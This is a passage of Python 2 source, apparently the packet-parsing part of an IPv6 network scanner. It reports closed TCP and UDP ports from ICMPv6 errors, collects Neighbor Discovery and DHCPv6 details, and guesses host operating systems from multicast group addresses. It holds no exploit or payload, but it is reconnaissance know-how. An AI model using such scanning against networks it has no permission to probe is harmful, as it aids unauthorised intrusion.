res.append(returned_packet.sprintf("%ICMPv6TimeExceeded.type%")) 77 | res.append(returned_packet.sprintf("%ICMPv6TimeExceeded.code%")) 78 | res.append(embedded_packet.sport) 79 | packets.payload.src,packets.sprintf("%ICMPv6TimeExceeded.type% %ICMPv6TimeExceeded.code%") 80 | print packets.payload.src,packets.sprintf("%ICMPv6TimeExceeded.type% %ICMPv6TimeExceeded.code%") 81 | elif returned_packet.payload.haslayer(UDPerror): 82 | embedded_packet=returned_packet.getlayer(UDPerror) 83 | res.append(packets.payload.sprintf("%IPv6.src%")) 84 | res.append(returned_packet.sprintf("%ICMPv6TimeExceeded.type%")) 85 | res.append(returned_packet.sprintf("%ICMPv6TimeExceeded.code%")) 86 | res.append(embedded_packet.sport) 87 | print packets.payload.src,packets.sprintf("%ICMPv6TimeExceeded.type% %ICMPv6TimeExceeded.code%") 88 | else: 89 | print returned_packet.summary() 90 | else: 91 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6TimeExceeded.type% %ICMPv6TimeExceeded.code%") 92 | res.append(packets.sprintf("%IPv6.src%")) 93 | if self.scan_type==1 or self.scan_type==5: 94 | res.append(packets.sprintf("%src%")) 95 | res.append(packets.sprintf(" ICMPv6 ")) 96 | res.append(packets.sprintf("%ICMPv6TimeExceeded.type%")) 97 | res.append(packets.sprintf("%ICMPv6TimeExceeded.code%")) 98 | if packets.payload.payload.payload.nh==17:#if UDP 99 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% ICMPv6 %ICMPv6TimeExceeded.type% %ICMPv6TimeExceeded.code% Target:"),packets.payload.payload.payload.sprintf("%dst%"),packets.payload.payload.payload.payload.sprintf("UDP port %dport% CLOSED") 100 | res.append(packets.payload.payload.payload.sprintf("Target: %dst%")) 101 | res.append(packets.payload.payload.payload.payload.sprintf("UDP port %dport% CLOSED")) 102 | elif packets.payload.payload.payload.nh==6:#if TCP 103 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% ICMPv6 %ICMPv6TimeExceeded.type% %ICMPv6TimeExceeded.code% Target:"),packets.payload.payload.payload.sprintf("%dst%"),packets.payload.payload.payload.payload.sprintf("TCP port %dport% CLOSED") 104 | res.append(packets.payload.payload.payload.sprintf("Target: %dst%")) 105 | res.append(packets.payload.payload.payload.payload.sprintf("TCP port %dport% CLOSED")) 106 | elif packets.payload.payload.payload.nh==58:#if ICMPv6 107 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% ICMPv6 %ICMPv6TimeExceeded.type% %ICMPv6TimeExceeded.code% Enclosed Protocol:"),packets.payload.payload.sprintf("%nh%"),packets.payload.payload.payload.sprintf("%type% %code%") 108 | res.append(packets.payload.payload.payload.sprintf("Target: %dst%")) 109 | res.append(packets.payload.payload.payload.payload.sprintf("Type: %type%")) 110 | res.append(packets.payload.payload.payload.payload.sprintf("Code: %code%")) 111 | else: 112 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% ICMPv6 %ICMPv6TimeExceeded.type% %ICMPv6TimeExceeded.code% Enclosed Protocol:"),packets.payload.payload.sprintf("%nh%") 113 | res.append(packets.payload.payload.payload.sprintf("Target: %dst%")) 114 | res.append(packets.payload.payload.payload.sprintf("Enclosed protocol: %nh%")) 115 | elif packets.haslayer(ICMPv6PacketTooBig): 116 | if not self.scan_type==6: #NOT NEEDED 117 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6PacketTooBig.type% %ICMPv6PacketTooBig.code% %ICMPv6PacketTooBig.mtu%") 118 | res.append(packets.sprintf("%IPv6.src%")) 119 | if self.scan_type==1 or self.scan_type==5: 120 | res.append(packets.sprintf("%src%")) 121 | res.append(packets.sprintf(" ICMPv6 ")) 122 | res.append(packets.sprintf("%ICMPv6PacketTooBig.type%")) 123 | res.append(packets.sprintf("%ICMPv6PacketTooBig.code%")) 124 | res.append(packets.sprintf("%ICMPv6PacketTooBig.mtu%")) 125 | elif packets.haslayer(IPv6ExtHdrRouting): 126 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %IPv6ExtHdrRouting.type% %IPv6ExtHdrRouting.addresses% %IPv6ExtHdrRouting.segleft%") 127 | res.append(packets.sprintf("%IPv6.src%")) 128 | if self.scan_type==1: 129 | res.append(packets.sprintf("%src%")) 130 | res.append(packets.sprintf("%IPv6.dst%")) 131 | res.append(packets.sprintf("%IPv6ExtHdrRouting.nh%")) 132 | res.append(packets.sprintf("%IPv6ExtHdrRouting.type%")) 133 | res.append(packets.sprintf("%IPv6ExtHdrRouting.segleft%")) 134 | res.append(packets.sprintf("%IPv6ExtHdrRouting.addresses%")) 135 | #res.append(packets.sprintf("%src%")) 136 | elif packets.haslayer(IPv6ExtHdrFragment): 137 | returned_packet=packets.getlayer(IPv6ExtHdrFragment) 138 | print returned_packet.summary() 139 | res.append(returned_packet.summary()) 140 | elif packets.haslayer(ICMPv6EchoReply) and not self.scan_type==3 and not self.scan_type==4 and not self.scan_type==7 and not self.scan_type==6: 141 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6EchoReply.type%") 142 | res.append(packets.sprintf("%IPv6.src%")) 143 | if self.scan_type==1 or self.scan_type==5: 144 | res.append(packets.sprintf("%src%")) 145 | res.append(packets.sprintf(" ICMPv6 ")) 146 | res.append(packets.sprintf("%ICMPv6EchoReply.type%")) 147 | res.append(packets.sprintf("%ICMPv6EchoReply.id%")) 148 | res.append(packets.sprintf("%ICMPv6EchoReply.data%")) 149 | #res.append(packets.sprintf("%ICMPv6EchoReply.seq%")) 150 | elif packets.haslayer(ICMPv6EchoRequest) and self.scan_type==1: 151 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6EchoRequest.type%") 152 | res.append(packets.sprintf("%IPv6.src%")) 153 | res.append(packets.sprintf("%src%")) 154 | res.append(packets.sprintf(" ICMPv6 ")) 155 | res.append(packets.sprintf("%ICMPv6EchoRequest.type%")) 156 | res.append(packets.sprintf("%ICMPv6EchoRequest.id%")) 157 | res.append(packets.sprintf("%ICMPv6EchoRequest.data%")) 158 | #res.append(packets.sprintf("%ICMPv6EchoRequest.seq%")) 159 | elif packets.haslayer(IPv6ExtHdrHopByHop) and (self.scan_type==1 or self.scan_type==8): 160 | #print "Hop-by-Hop Header" 161 | res.append(packets.sprintf("%IPv6.src%")) 162 | res.append(packets.sprintf("%src%")) 163 | if packets.payload.haslayer(ICMPv6MLReport): 164 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6MLReport.type% %ICMPv6MLReport.mladdr%") 165 | res.append(packets.sprintf(" ICMPv6 ")) 166 | res.append(packets.sprintf("%ICMPv6MLReport.type%")) 167 | multicast_address=packets.payload.getlayer(ICMPv6MLReport).mladdr 168 | if multicast_address=="ff02::1:3": 169 | res.append("Windows") 170 | elif multicast_address=="ff02::c": 171 | res.append("/Client/") 172 | elif "ff02::2:ff" in multicast_address: 173 | res.append("FreeBSD") 174 | elif "ff02::1:2" in multicast_address or "ff05::1:3" in multicast_address: 175 | res.append("/DHCPv6 Server-Relay/") 176 | elif ":7fff" in multicast_address: 177 | res.append("SAPv0") 178 | elif ":7ffe" in multicast_address: 179 | res.append("SAPv1") 180 | else: 181 | res.append(packets.sprintf("/%ICMPv6MLReport.mladdr%/")) 182 | elif packets.payload.haslayer(ICMPv6MLDone): 183 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6MLDone.type% %ICMPv6MLDone.mladdr%") 184 | res.append(packets.sprintf(" ICMPv6 ")) 185 | res.append(packets.sprintf("%ICMPv6MLDone.type%")) 186 | multicast_address=packets.payload.getlayer(ICMPv6MLDone).mladdr 187 | if multicast_address=="ff02::1:3": 188 | res.append("/Windows/") 189 | elif multicast_address=="ff02::c": 190 | res.append("/Client/") 191 | elif "ff02::2:ff" in multicast_address: 192 | res.append("/FreeBSD/") 193 | elif "ff02::1:2" in multicast_address or "ff05::1:3" in multicast_address: 194 | res.append("/DHCPv6 Server-Relay/") 195 | elif "::2:7fff" in multicast_address: 196 | res.append("/SAPv0/") 197 | elif "::2:7ffe" in multicast_address: 198 | res.append("/SAPv1/") 199 | else: 200 | res.append(packets.sprintf("/%ICMPv6MLReport.mladdr%/")) 201 | elif packets.payload.haslayer(ICMPv6MLQuery): 202 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6MLQuery.type%") 203 | res.append(packets.sprintf(" ICMPv6 ")) 204 | res.append(packets.sprintf("%ICMPv6MLQuery.type%")) 205 | res.append("MLD capable router") 206 | elif packets.payload.haslayer(ICMPv6MLReport2): 207 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6MLReport2.type%") 208 | res.append(packets.sprintf(" ICMPv6 ")) 209 | res.append(packets.sprintf("%ICMPv6MLReport2.type%")) 210 | else: 211 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6MLReport2.type%") 212 | #print packets.payload.show() 213 | elif packets.haslayer(TCP) and (self.scan_type==3 or self.scan_type==1): 214 | print packets.sprintf("%src% %IPv6.src% %dst% -> %IPv6.dst% TCP %TCP.sport% %TCP.dport% %TCP.flags%") 215 | res.append(packets.sprintf("%IPv6.src%")) 216 | if self.scan_type==1: 217 | res.append(packets.sprintf("%src%")) 218 | res.append(packets.sprintf(" TCP ")) 219 | res.append(packets.sprintf("sport=%TCP.sport%")) 220 | res.append(packets.sprintf("dport=%TCP.dport%")) 221 | res.append(packets.sprintf("TCPflags=%TCP.flags%")) 222 | else: 223 | res.append(packets.sprintf(" TCP ")) 224 | res.append(packets.sprintf("%TCP.sport%")) 225 | res.append(packets.sprintf("%TCP.flags%")) 226 | elif packets.haslayer(UDP) and (self.scan_type==4 or self.scan_type==1 or self.scan_type==8): #8 is for DHCPv6 operation 227 | layer4_header=packets.getlayer(UDP) 228 | if (layer4_header.sport==546 and layer4_header.dport==547): 229 | print "DHCPv6 packet" 230 | if layer4_header.haslayer(DHCP6_Solicit): 231 | print "DHCPv6 Solicit message. Transaction ID =",layer4_header.sprintf("%DHCP6_Solicit.trid%") 232 | if layer4_header.haslayer(DHCP6OptClientId): 233 | print "Client DUID =",layer4_header.sprintf("%DHCP6OptClientId.duid%") 234 | ClientID=layer4_header.getlayer(DHCP6OptClientId) 235 | print "Client Identifier =",ClientID.show() 236 | else: 237 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% UDP %UDP.sport% %UDP.dport%") 238 | res.append(packets.sprintf("%IPv6.src%")) 239 | if self.scan_type==1: 240 | res.append(packets.sprintf("%src%")) 241 | res.append(packets.sprintf(" UDP ")) 242 | res.append(packets.sprintf("sport=%UDP.sport%")) 243 | res.append(packets.sprintf("dport=%UDP.dport%")) 244 | else: 245 | res.append(packets.sprintf(" UDP ")) 246 | res.append(packets.sprintf("%UDP.sport%")) 247 | if packets.haslayer(ICMPv6ND_NA) and self.scan_type==1: 248 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6ND_NA.type% %ICMPv6ND_NA.tgt% ") 249 | res.append(packets.sprintf("%IPv6.src%")) 250 | res.append(packets.sprintf("%src%")) 251 | res.append(packets.sprintf(" ICMPv6 ")) 252 | res.append(packets.sprintf("%ICMPv6ND_NA.type%")) 253 | #res.append(packets.sprintf("%ICMPv6ND_NA.code%")) 254 | res.append(packets.sprintf("%ICMPv6ND_NA.R%")) 255 | res.append(packets.sprintf("%ICMPv6ND_NA.S%")) 256 | res.append(packets.sprintf("%ICMPv6ND_NA.O%")) 257 | res.append(packets.sprintf("%ICMPv6ND_NA.tgt%")) 258 | elif packets.haslayer(ICMPv6ND_NS) and self.scan_type==1: 259 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6ND_NS.type% %ICMPv6ND_NS.tgt% ") 260 | res.append(packets.sprintf("%IPv6.src%")) 261 | res.append(packets.sprintf("%src%")) 262 | res.append(packets.sprintf(" ICMPv6 ")) 263 | res.append(packets.sprintf("%ICMPv6ND_NS.type%")) 264 | #res.append(packets.sprintf("%ICMPv6ND_NS.code%")) 265 | res.append(packets.sprintf("%ICMPv6ND_NS.tgt%")) 266 | elif packets.haslayer(ICMPv6ND_RA) and self.scan_type==1: 267 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6ND_RA.type%") 268 | res.append(packets.sprintf("%IPv6.src%")) 269 | res.append(packets.sprintf("%src%")) 270 | res.append(packets.sprintf(" ICMPv6 ")) 271 | res.append(packets.sprintf("%ICMPv6ND_RA.type%")) 272 | #res.append(packets.sprintf("%ICMPv6ND_RA.code%")) 273 | res.append(packets.sprintf("%ICMPv6ND_RA.chlim%")) 274 | res.append(packets.sprintf("%ICMPv6ND_RA.M%")) 275 | res.append(packets.sprintf("%ICMPv6ND_RA.O%")) 276 | res.append(packets.sprintf("%ICMPv6ND_RA.H%")) 277 | res.append(packets.sprintf("%ICMPv6ND_RA.prf%")) 278 | res.append(packets.sprintf("%ICMPv6ND_RA.P%")) 279 | res.append(packets.sprintf("%ICMPv6ND_RA.routerlifetime%")) 280 | res.append(packets.sprintf("%ICMPv6ND_RA.reachabletime%")) 281 | res.append(packets.sprintf("%ICMPv6ND_RA.retranstimer%")) 282 | if packets.haslayer(ICMPv6NDOptPrefixInfo): 283 | res.append(packets.sprintf("%ICMPv6NDOptPrefixInfo.prefix%")) 284 | res.append(packets.sprintf("%ICMPv6NDOptPrefixInfo.prefixlen%")) 285 | res.append(packets.sprintf("%ICMPv6NDOptPrefixInfo.L%")) 286 | res.append(packets.sprintf("%ICMPv6NDOptPrefixInfo.A%")) 287 | res.append(packets.sprintf("%ICMPv6NDOptPrefixInfo.R%")) 288 | res.append(int(packets.sprintf("%ICMPv6NDOptPrefixInfo.validlifetime%"),16)) 289 | res.append(int(packets.sprintf("%ICMPv6NDOptPrefixInfo.preferredlifetime%"),16)) 290 | elif packets.haslayer(ICMPv6ND_RS) and self.scan_type==1: 291 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6ND_RS.type%") 292 | res.append(packets.sprintf("%IPv6.src%")) 293 | res.append(packets.sprintf("%src%")) 294 | res.append(packets.sprintf(" ICMPv6 ")) 295 | res.append(packets.sprintf("%ICMPv6ND_RS.type%")) 296 | res.append(packets.sprintf("%ICMPv6ND_RS.code%")) 297 | elif packets.haslayer(ICMPv6MLReport) and self.scan_type==1: 298 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6MLReport.type% %ICMPv6MLReport.mladdr%") 299 | res.append(packets.sprintf("%IPv6.src%")) 300 | res.append(packets.sprintf("%src%")) 301 | res.append(packets.sprintf(" ICMPv6 ")) 302 | res.append(packets.sprintf("%ICMPv6MLReport.type%")) 303 | res.append(packets.sprintf("%ICMPv6MLReport.code%")) 304 | res.append(packets.sprintf("%ICMPv6MLReport.mrd%")) 305 | res.append(packets.sprintf("%ICMPv6MLReport.mladdr%")) 306 | elif not self.scan_type==2 and not self.scan_type==5 and not self.scan_type==3 and not self.scan_type==6 and not self.scan_type==7: 307 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %IPv6.nh%") 308 | #res.append(packets.sprintf("%src%")) 309 | res.append(packets.sprintf("%IPv6.src%")) 310 | if self.scan_type==1: 311 | res.append(packets.sprintf("%src%")) 312 | res.append(packets.sprintf("%IPv6.nh%")) 313 | if res: 314 | self.q.put(res) 315 | version = '0.9' 316 | # End of sniffer_process.py 317 | --------------------------------------------------------------------------------